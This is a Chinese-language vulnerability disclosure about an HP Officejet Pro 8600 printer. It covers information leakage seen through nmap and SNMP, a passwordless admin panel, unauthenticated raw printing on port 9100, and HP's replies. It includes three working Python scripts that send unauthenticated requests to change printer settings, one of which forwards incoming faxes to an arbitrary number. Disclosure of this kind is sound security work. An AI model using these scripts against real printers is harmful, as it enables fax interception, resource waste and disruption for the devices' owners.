步骤
首先,我有机会测试惠普Officejet Pro系列打印机
其次,我决定测试它的安全性并用本地无线网络连接做一次扫描。
注:所有的安装步骤都是按照惠普说明手册安装的
信息泄漏
我在HP打印机的本地IP上运行了nmap,并得到了一些有趣的结论,在我看来,当任何本地网络用户连接在同一网络时,他们的网络信息就会被泄漏,你可以在80端口上完整的读取到对方的机型以及相应的打印机序列号。
HP Officejet Pro 8600 printer http config (Serial CN1CTxxxxxxxxxx)
161端口上则可以读取到MAC地址、以太网速度和流量统计
MAC address: xx:xx:xx:xx:xx:xx (Hewlett-Packard Company) Type: ethernetCsmacd Speed: 10 Mbps Status: up Traffic stats: 1.33 Mb sent, 2.39 Mb received
SNMP上读到打印机建立的连接和系统正常运行时间
TCP 192.168.1.89:9110 192.168.1.65:30645 TCP 192.168.1.89:9111 192.168.1.65:70 TCP 192.168.1.89:47485 15.201.141.250:5222 System uptime: 0 days, 5:11:07.91 (1866791 timeticks)
使用Nmap–smb-os-discovery脚本,可以使用“guest”账户来了解打印机的系统信息:如
OS:VxWorks(NQ 4.32)
而这些信息本应该是受限制和保护的,因为这些信息很可能被用来发动其它类型的攻击。
HP声称:HP打印机在连接过程中所提供的信息是设定好的,因为如果用户想要搜寻到打印机信号并正确的连接到其中一个,打印机就需要处于可被发现的状态,而这势必会需要打印机提供一个唯一可辨明身份的信息以来确保被使用。
HP今后也将致力于衡量和平衡如何在限制信息不被泄露的情况下又能保证提供给用户所需要的重要信息。
管理面板访问和错误的密码加密类型
另一个主要的问题是管理员控制面板默认用户名名没有设置密码,在我看来是很糟糕的安全策略。第一次连接管理员控制面板应该要求输入用户名和密码,同时如果你想添加或修改密码,密码是经过Base64加密的,是非常不安全的加密方法。
HP声称:我们不认为一个默认的密码可以增加任何的安全性,因为他只会跟路由器密码一样成为大众所周知的,这对于那些不知道默认密码的新手用户来说不但会带来不便,而且增加了没有意义的安全。 我们支持通过HTTPS传输的基础身份认证。
垃圾打印和拒绝服务
在我看来,我认为最有威胁的安全问题是P9100的默认访问(同样可以称作未授权访问)在管理面板中,HP声称通过TCP的9100端口来对打印服务进行支持。同样可以通过HP的软件- HP Standard Port进行连接,后来我通过nmap发现开放了3个端口:9100,9101和9102,
如果你通过远程登录连接上这三个端口中的其中一个,你就可以在他的终端系统打印任何你想要打印的类型,需要注意的是,一旦你通过远程登录连接到打印机,打印面板显示正在打印中后,你需要保持打印机处于忙碌状态直到你关闭远程登录会话,以防止其它用户使用打印机。
计算机连接到远程登录甚至不需要安装打印机或访问打印机,只需要连接本地网络。
通过谷歌搜索我已经了解到,许多公司通过互联网都存在着垃圾打印的问题,或许这与这些受影响公司没有过滤和关闭打印机上的一些端口有关?
对于那些受垃圾打印影响的公司来说,这一安全问题无疑是昂贵的,因为有人可以全方面的来消耗他们的资源——纸张和墨,甚至损坏他们的打印机,如果有人写一些脚本并发送一个简单的请求到端口上,就可能会使打印机一直处于打印和占用状态。
HP声称:通过Windows 标准的TCP / IP端口监视器要求9100端口在默认情况下打开是设定好的,而其他端口,如9101和9102则被用于诊断和发现故障的目的,并没有提供有用的数据。
未经许可修改打印机选项(管理员启用了密码保护)
我写了一些Python脚本,允许本地网络上的任何人在没有密码的情况下修改打印机选项。
改变电源节省超时时间
import http.client connection = http.client.HTTPConnection('192.168.1.89:80') headers = {"Content-type": "Content-Type: text/xml", "Accept": "*/*"} body_content = '<prdcfgdyn2:ProductConfigDyn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dd="http://www.hp.com/schemas/imaging/con/dictionaries/1.0/" xmlns:prdcfgdyn2="http://www.hp.com/schemas/imaging/con/ledm/productconfigdyn/2009/03/16" xmlns:prdcfgdyn="http://www.hp.com/schemas/imaging/con/ledm/productconfigdyn/2007/11/05" xsi:schemaLocation="http://www.hp.com/schemas/imaging/con/ledm/productconfigdyn/2009/03/16 ../schemas/ledm2/ProductConfigDyn.xsd http://www.hp.com/schemas/imaging/con/ledm/productconfigdyn/2007/11/05 ../schemas/ProductConfigDyn.xsd http://www.hp.com/schemas/imaging/con/dictionaries/1.0/ ../schemas/dd/DataDictionaryMasterLEDM.xsd"><prdcfgdyn2:ProductSettings><dd:PowerSaveTimeout>5minutes</dd:PowerSaveTimeout></prdcfgdyn2:ProductSettings></prdcfgdyn2:ProductConfigDyn>' connection.request('PUT', 'http://192.168.1.89/DevMgmt/ProductConfigDyn.xml', body_content, headers) result = connection.getresponse() print(result.status, result.reason)
重定向FAX为其他数字
import http.client connection = http.client.HTTPConnection('192.168.1.89:80') headers = {"Content-type": "Content-Type: text/xml", "Accept": "*/*"} body_content = '<faxcfgdyn:FaxConfigDyn xmlns:faxcfgdyn="http://www.hp.com/schemas/imaging/con/ledm/faxconfigdyn/2009/03/03" xmlns:dd="http://www.hp.com/schemas/imaging/con/dictionaries/1.0/" xmlns:fax="http://www.hp.com/schemas/imaging/con/fax/2008/06/13" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.hp.com/schemas/imaging/con/ledm/faxconfigdyn/2009/03/03 ../schemas/FaxConfigDyn.xsd"><faxcfgdyn:ReceiveSettings><dd:FaxForwardingNumber>111111111</dd:FaxForwardingNumber><fax:ReceiveForward>forward</fax:ReceiveForward><faxcfgdyn:ForwardScheduleSettings><faxcfgdyn:ForwardStartTime><dd:TimeStamp>2015-02-26T00:00:00.0Z</dd:TimeStamp></faxcfgdyn:ForwardStartTime><faxcfgdyn:ForwardStopTime><dd:TimeStamp>2015-02-28T00:00:00.0Z</dd:TimeStamp></faxcfgdyn:ForwardStopTime></faxcfgdyn:ForwardScheduleSettings></faxcfgdyn:ReceiveSettings></faxcfgdyn:FaxConfigDyn>' connection.request('PUT', 'http://192.168.1.89/DevMgmt/FaxConfigDyn.xml', body_content, headers) result = connection.getresponse() print(result.status, result.reason)
关闭定时打印
import http.client connection = http.client.HTTPConnection('192.168.1.89:80') headers = {"Content-type": "Content-Type: text/xml", "Accept": "*/*"} body_content = '<prdcfgdyn2:ProductConfigDyn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dd="http://www.hp.com/schemas/imaging/con/dictionaries/1.0/" xmlns:prdcfgdyn2="http://www.hp.com/schemas/imaging/con/ledm/productconfigdyn/2009/03/16" xmlns:prdcfgdyn="http://www.hp.com/schemas/imaging/con/ledm/productconfigdyn/2007/11/05" xsi:schemaLocation="http://www.hp.com/schemas/imaging/con/ledm/productconfigdyn/2009/03/16 ../schemas/ledm2/ProductConfigDyn.xsd http://www.hp.com/schemas/imaging/con/ledm/productconfigdyn/2007/11/05 ../schemas/ProductConfigDyn.xsd http://www.hp.com/schemas/imaging/con/dictionaries/1.0/ ../schemas/dd/DataDictionaryMasterLEDM.xsd"><prdcfgdyn2:ProductSettings><dd:ScheduledOffScheduledOnTime><dd:ScheduledOff><dd:AutoOffTimeSetting>enabled</dd:AutoOffTimeSetting><dd:AutoOffTimeAndDaySetting><dd:AutoOffTimeValue>19:00:00</dd:AutoOffTimeValue><dd:DaysOfWeek>sunday</dd:DaysOfWeek></dd:AutoOffTimeAndDaySetting><dd:Deferred>false</dd:Deferred></dd:ScheduledOff><dd:ScheduledOn><dd:AutoOnTimeSetting>disabled</dd:AutoOnTimeSetting><dd:AutoOnTimeAndDaySetting><dd:AutoOnTimeValue>00:00:00</dd:AutoOnTimeValue></dd:AutoOnTimeAndDaySetting></dd:ScheduledOn></dd:ScheduledOffScheduledOnTime></prdcfgdyn2:ProductSettings></prdcfgdyn2:ProductConfigDyn>' connection.request('PUT', 'http://192.168.1.89/DevMgmt/ProductConfigDyn.xml', body_content, headers) result = connection.getresponse() print(result.status, result.reason)
你可以以这种方式来设置管理更多的服务
HP声称:在没有管理员密码的情况下,HP公司的企业级打印机不允许任何持久性的设置更改,但对于一些小团体的使用者来说(家庭消费者和小型企业),允许他们在没有管理员密码的情况下做一些小范围的持久性更改。
惠普目前已经修复了一些用户层面的设置并认识到在专有配置接口设置密码保护的优势,HP将持续研究这些端口的安全性。
我没有测试过其他类型的HP打印机所以我不知道是否其他的机型也存在类似的问题但我想感谢惠普公司提供的反馈,即使他们站在不同于我的安全角度,在安全研究人员之间,建立沟通交流是很重要的。